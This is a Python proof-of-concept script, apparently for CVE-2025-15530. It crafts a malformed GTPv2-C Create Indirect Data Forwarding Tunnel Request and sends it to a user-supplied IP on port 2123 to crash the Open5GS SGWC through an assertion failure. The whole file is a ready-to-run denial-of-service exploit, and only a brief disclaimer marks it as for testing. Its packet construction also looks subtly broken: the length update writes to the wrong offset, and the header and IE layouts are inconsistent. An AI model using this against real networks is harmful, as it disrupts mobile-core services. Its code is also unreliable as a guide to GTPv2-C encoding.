#!/usr/bin/env python3
"""
CVE-2025-15530 PoC - Open5GS SGWC S11 Assertion Failure DoS
This PoC demonstrates sending a malformed Create Indirect Data Forwarding
Tunnel Request to trigger assertion failure in sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request
Note: This is for educational and authorized testing purposes only.
"""
import socket
import struct
import sys
def create_gtpv2c_header(msg_type, teid=0, seq=0x123456):
"""Create GTPv2-C header"""
version_flags = 0x40 # Version 2, no TEID flag for initial message
message_type = msg_type
length = 0 # Will be updated
teid = teid
sequence = seq
spare = 0
header = struct.pack('!BBHI', version_flags, message_type, length, teid)
header += struct.pack('!I', (sequence << 8) | spare)
return header
def create_fteid(teid, ipv4, ipv6=None):
"""Create F-TEID IE (Forwarding Tunnel Endpoint Identifier)"""
ie_type = 0x57 # F-TEID
if ipv6:
flags = 0xC0 # IPv4 and IPv6 present
data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4) + socket.inet_pton(socket.AF_INET6, ipv6)
else:
flags = 0x80 # IPv4 present only
data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4)
length = len(data)
return struct.pack('!H', ie_type) + struct.pack('!H', length) + data
def create_malformed_indirect_tunnel_request():
"""Create malformed Create Indirect Data Forwarding Tunnel Request"""
msg_type = 0x9D # Create Indirect Data Forwarding Tunnel Request
header = create_gtpv2c_header(msg_type, teid=0)
# Create bearer context IE with malformed data
bearer_ie_type = 0x5D
bearer_data = create_fteid(0x12345678, '10.0.0.1')
bearer_data += struct.pack('!BBB', 0x00, 0x00, 0x01) # Malformed data to trigger assertion
bearer_ie = struct.pack('!H', bearer_ie_type) + struct.pack('!H', len(bearer_data)) + bearer_data
# Sequence and length update
body = bearer_ie
header = header[:4] + struct.pack('!H', len(body)) + header[6:]
return header + body
def send_exploit(target_ip, target_port=2123):
"""Send exploit to target"""
payload = create_malformed_indirect_tunnel_request()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
try:
print(f"[*] Sending malformed Create Indirect Data Forwarding Tunnel Request to {target_ip}:{target_port}")
sock.sendto(payload, (target_ip, target_port))
print("[+] Exploit packet sent successfully")
except Exception as e:
print(f"[-] Error sending packet: {e}")
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port=2123]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 2123
send_exploit(target, port)